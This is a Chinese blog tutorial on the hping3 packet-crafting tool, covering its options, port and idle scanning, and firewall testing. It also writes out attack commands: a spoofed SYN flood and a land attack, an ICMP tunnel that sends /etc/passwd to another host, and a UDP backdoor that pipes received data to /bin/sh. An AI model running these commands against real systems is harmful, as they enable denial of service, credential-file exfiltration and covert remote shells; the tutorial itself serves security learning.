hping3功能以及参数介绍

原创 一只青木呀 2020-10-21 18:27:13 1278 版权
收藏 11
分类专栏： Kali 文章标签： hping3

hping3功能以及参数介绍

1.hping3

hping 是面向命令行的用于生成和解析TCP/IP协议数据包汇编分析的开源工具。

目前最新版是hping3，它支持TCP，UDP，ICMP，和RAW-IP协议，具有跟踪路由模式，能够在覆盖的信道之间发送文件以及许多其他功能.

hping3是安全审计,防火墙测试等工作的标配工具,haping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机经行细致的探测.

2.hping3用法

格式:

```
hping3 host [options]
```

参数缩写	参数	描述
-h	–help	显示帮助
-v	–version	显示版本
-c	–count	发送数据包的数目
-i	–interval	发送数据包间隔的时间 (uX即X微秒, 例如： -i u1000)

参数缩写	参数	描述
	–fast	等同 -i u10000 (每秒10个包)
	–faster	等同 -i u1000 (每秒100个包)
	–flood	尽最快发送数据包，不显示回复。
-n	–numeric	数字化输出，象征性输出主机地址。
-q	–quiet	安静模式
-I	–interface	网卡接口 (默认路由接口)
-V	–verbose	详细模式
-D	–debug	调试信息
-z	–bind	绑定ctrl+z到ttl(默认为目的端口)
-Z	–unbind	取消绑定ctrl+z键
	–beep	对于接收到的每个匹配数据包蜂鸣声提示

3.模式选择

编号	模式	描述
default mode	TCP	默认模式是 TCP
-0 或 --rawip	RAWIP模式，原始IP模式	在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
-1 或 --icmp	ICMP模式	此模式下HPING会发送IGMP应答报，你可以用–ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 或 --udp	UDP 模式	缺省下，HPING会发送UDP报文到主机的0端口，你可以用–baseport --destport --keep选项指定其模式。
-8 或 --scan	SCAN mode	扫描模式 指定扫描对应的端口。Example: hping --scan 1-30,70-90 -S www.target.host // 扫描
-9 或 --listen	listen mode	监听模式

4. IP 模式

参数缩写	参数	描述
-a	–spoof	spoof source address //源地址欺骗。伪造IP攻击，防火墙就不会记录你的真实IP了，当然回应的包你也接收不到了。
	–rand-dest	random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
	–rand-source	random source address mode. see the man. // 随机源地址模式。详细使用 man 命令
-t	–ttl	ttl (默认 64) //修改 ttl 值
-N	–id	id (默认 随机) // hping 中的 ID 值，缺省为随机值

参数缩写	参数	描述
-W	–winid	使用win* id字节顺序 //使用winid模式，针对不同的操作系统。UNIX ,WINDIWS的id回应不同的，这选项可以让你的ID回应和WINDOWS一样。
-r	–rel	相对id字段(估计主机流量) //更改ID的，可以让ID曾递减输出，详见HPING-HOWTO。
-f	–frag	拆分数据包更多的frag. (may pass weak acl) //分段，可以测试对方或者交换机碎片处理能力，缺省16字节。
-x	–morefrag	设置更多的分段标志 // 大量碎片，泪滴攻击。
-y	–dontfrag	设置不分段标志 // 发送不可恢复的IP碎片，这可以让你了解更多的MTU PATH DISCOVERY。
-g	–fragoff	set the fragment offset // 设置断偏移。
-m	–mtu	设置虚拟最大传输单元, implies --frag if packet size > mtu // 设置虚拟MTU值，当大于mtu的时候分段。
-o	–tos	type of service (default 0x00), try --tos help // tos字段，缺省0x00，尽力而为?
-G	–rroute	includes RECORD_ROUTE option and display the route buffer // 记录IP路由，并显示路由缓冲。
	–lsrr	松散源路由并记录路由 // 松散源路由
	–ssrr	严格源路由并记录路由 // 严格源路由
-H	–ipproto	设置IP协议字段，仅在RAW IP模式下使用 //在RAW IP模式里选择IP协议。设置ip协议域，仅在RAW ip模式使用。

5. ICMP 模式

参数缩写	参数	描述
-C	–icmptype	icmp类型(默认echo请求) // ICMP类型，缺省回显请求。
-K	–icmpcode	icmp代号(默认0) // ICMP代码。
	–force-icmp	发送所有icmp类型(默认仅发送支持的类型) // 强制ICMP类型。
	–icmp-gw	设置ICMP重定向网关地址(默认0.0.0.0) // ICMP重定向
	–icmp-ts	等同 --icmp --icmptype 13 (ICMP 时间戳) // icmp时间戳
	–icmp-addr	等同 --icmp --icmptype 17 (ICMP 地址子网掩码) // icmp子网地址
	–icmp-help	显示其他icmp选项帮助 // ICMP帮助

6. UDP/TCP 模式

参数缩写	参数	描述

参数缩写	参数	描述
-s	–baseport	base source port (default random) // 缺省随机源端口
-p	–destport	[+][+] destination port(default 0) ctrl+z inc/dec // 缺省随机源端口
-k	–keep	keep still source port // 保持源端口
-w	–win	winsize (default 64) // win的滑动窗口。windows发送字节(默认64)
-O	–tcpoff	set fake tcp data offset (instead of tcphdrlen / 4) // 设置伪造tcp数据偏移量(取代tcp地址长度除4)
-Q	–seqnum	shows only tcp sequence number // 仅显示tcp序列号
-b	–badcksum	(尝试)发送具有错误IP校验和数据包。许多系统将修复发送数据包的IP校验和。所以你会得到错误UDP/TCP校验和。
-M	–setseq	设置TCP序列号
-L	–setack	设置TCP的ack ---------- (不是TCP 的 ACK 标志位)
-F	–fin	set FIN flag
-S	–syn	set SYN flag
-R	–rst	set RST flag
-P	–push	set PUSH flag
-A	–ack	set ACK flag ---------- （设置TCP 的 ACK 标志 位）
-U	–urg	set URG flag // 一大堆IP抱头的设置。
-X	–xmas	set X unused flag (0x40)
-Y	–ymas	set Y unused flag (0x80)
	–tcpexitcode	使用last tcp-> th_flags作为退出码
	–tcp-mss	启用具有给定值的TCP MSS选项
	–tcp-timestamp	启用TCP时间戳选项来猜测HZ/uptime

7.Common //通用设置

参数缩写	参数	描述
-d	–data	data size (default is 0) // 发送数据包大小，缺省是0。
-E	–file	文件数据
-e	–sign	添加“签名”
-j	–dump	转储为十六进制数据包
-J	–print	转储为可打印字符
-B	–safe	启用“安全”协议
-u	–end	告诉你什么时候–file达到EOF并防止倒回

参数缩写	参数	描述
-T	–traceroute	traceroute模式(等同使用 --bind 且–ttl 1)
	–tr-stop	在traceroute模式下收到第一个不是ICMP时退出
	–tr-keep-ttl	保持源TTL固定，仅用于监视一跳
	–tr-no-rtt	不要在跟踪路由模式下计算/显示RTT信息 ARS包描述（新增功能，不稳定）ARS packet description (new, unstable)
	–apd-send	发送APD描述数据包(参见docs / APD.txt)

8. Hping3 功能

8.1 防火墙测试

使用Hping3指定各种数据包字段，依次对防火墙进行详细测试。请参考：http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击（DoS attack）。例如，以LandAttack方式测试目标防火墙（Land Attack是将发送源地址设置为与目标地址相同，诱使目标机与自己不停地建立连接）。

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

8.2 端口扫描

Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放：

hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口，-S指定TCP包的标志位SYN，-p 80指定探测的目的端口。

hping3支持非常丰富的端口探测方式，nmap拥有的扫描方式hping3几乎都支持（除开connect方式，因为Hping3仅发送与接收包，不会维护连接，所以不支持connect方式探测）。而且Hping3能够对发送的探测进行更加精细的控制，方便用户微调探测结果。当然，Hping3的端口扫描性能及综合处理能力，无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

8.3 Idle扫描

Idle扫描（Idle Scanning）是一种匿名扫描远程主机的方式，该方式也是有Hping3的作者Salvatore Sanfilippo发明的，目前Idle扫描在Nmap中也有实现。

该扫描原理是：寻找一台idle主机（该主机没有任何的网络流量，并且IPID是逐个增长的），攻击端主机先向idle主机发送探测包，从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包（此处假设为SYN包），此时如果远程主机的目的端口开放，那么会回复SYN/ACK，此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包，获取其IPID。那么对比两次的IPID值，我们就可以判断远程主机是否回复了数据包，从而间接地推测其端口状态。

8.4 拒绝服务攻击

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接，伪造源地址为192.168.10.99，并使用1000微秒的间隔发送各个SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻击如smurf、teardrop、land attack等也很容易构建出来。

8.5 文件传输

Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口，对检测到的签名（签名为用户指定的字符串）的内容进行相应的解析。在接收端开启服务：

hping3 192.168.1.159–listen signature --safe --icmp
监听ICMP包中的签名，根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件：

hping3 192.168.1.108–icmp ?d 100 --sign signature --file /etc/passwd
将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节（-d 100），发送签名为signature(-sign signature)。

8.6 木马功能

如果Hping3能够在远程主机上启动，那么可以作为木马程序启动监听端口，并在建立连接后打开shell通信。与netcat的后门功能类似。

示例：本地打开53号UDP端口（DNS解析服务）监听来自192.168.10.66主机的包含签名为signature的数据包，并将收到的数据调用/bin/sh执行。

在木马启动端：

hping3 192.168.10.66–listen signature --safe --udp -p 53 | /bin/sh
在远程控制端：

echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口，包数据长度为100字节。

9. 端口扫描测试

实验靶机:

```
Windows7   IP: 192.168.214.132

Metasploitable   IP: 192.168.214.133
```

在Kali端输入命令:

```
udo hping3 -I eth0 -S 192.168.214.133 -p 80
```

说明通信成功,80端口已开启

hping.win32 02-13
hping windows版源码 Hping是一个命令行下使用的TCP/IP数据包组装/分…

优质评论可以帮助作者获得更高权重 评论

相关推荐

hping 命令行/分析工具 07-07
Hping是一个命令行下使用的TCP/IP数据包组装/分析工具，其命令模式很…

HPING3 06-07
大家都知道的,一个小工具,这是源代码.

Hping2：一种网络探测工具 04-29
hping是一个基于Linux命令行的TCP/IP工具，它在UNIX上得到很好的应用…

hping3 使用详解 freeking101的博客 5万+
hping3命令：http://man.linuxde.net/hping3 Testing firewall rules with Hpin…

【安全】测试软件hping3的安装和使用 廿四画生的博客 734
hping3 hping3官网 Ubuntu下安装：sudo apt-get install hping3 Ubuntu官…

Kali-linux：hping3命令 小人物的编程 728
hping是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore…

hping3命令 测试网络及主机的安全 01-09
hping3命令是用于生成和解析TCPIP协议数据包的开源工具，也是安全审…

hping 详解_hping使用方法详解 weixin_39529443的博客 548
HPING 使用方法一、HPING和ping的区别：典型ping程序使用的是ICMP…

hping3使用 服务猿 1372
转自：https://blog.csdn.net/freeking101/article/details/72582964/ hping是…

hping3进行DDOS攻击 weixin_34019929的博客 6419
在计算机行业，拒绝服务(DoS)或分布式拒绝服务(DDoS)攻击是指不法分…

arping，ping，hping3常用参数 qq_30247635的博客 849
arping arping干嘛用的？ arping主要干的活就是查看ip的MAC地址及IP占…

hping3（测试端口状态） 技术、思维 625
安装hping3 pi@raspberrypi:~ $ sudo apt-get install hping3 正在读取软件…

hping 详解_hping3使用 weixin_39806065的博客 81
简介hping3是一款免费的数据包生成器和分析器。可用于安全审计、防火…

CSDN开发者助手，常用网站自动整合，多种工具一键调用
CSDN开发者助手由CSDN官方开发，集成一键呼出搜索、万能快捷工具、…

安全测试工具Hping3（用于泛洪） Snow_python的博客 2614
Hping3能伪造大量随机ip实现DDOS，kali自带工具，属于主流工具。 安装…

Hping抓包工具最受欢迎和免费的抓包工具之一 12-24
Hping是最受欢迎和免费的抓包工具之一。它允许你修改和发送自定义的IC…

一只青木呀
码龄2年 暂无认证

242	1万+	2万+	16万+	
原创	周排名	总排名	访问	等级
3943	515	492	191	1112
积分	粉丝	获赞	评论	收藏

私信 关注

搜博主文章

热门文章

Keil5下载安装教程并完成注册（配图操作） 14754

简单理解二进制的左移和右移（通俗易懂） 11905

keil4软件的下载与安装 6081

内存，RAM，ROM，Cache的区别与联系 4937

MobaXterm的安装及简单使用 3723

分类专栏

驱动 15篇

Linux 120篇

pinctrl 1篇

shell

嵌入式 38篇

lua 2篇

最新评论

Linux内核中断简介及其简单使用
一只青木呀: 一起学习一起进步

Linux内核中断简介及其简单使用
CHQIUU: 希望有机会可以和你一起讨论学习！互关一波！

Linux中下半部的工作队列简介及其简单...
CHQIUU: 希望有机会可以和你一起讨论学习！互关一波！

openwrt通过shell控制LED灯 （四--一）
wand_er: 请教一下，dst配置好后，/sys/class/leds/里面什么都没有，以及can't cre...

keil4软件的下载与安装
一只青木呀: Q群自取 832913634 问题：stm32

最新文章

Linux中SPI驱动简介及其简单编写流程

Linux中IIC驱动简介及其简单编写流程

Linux INPUT 子系统简介与编写流程

2021年 31篇 2020年 212篇

目录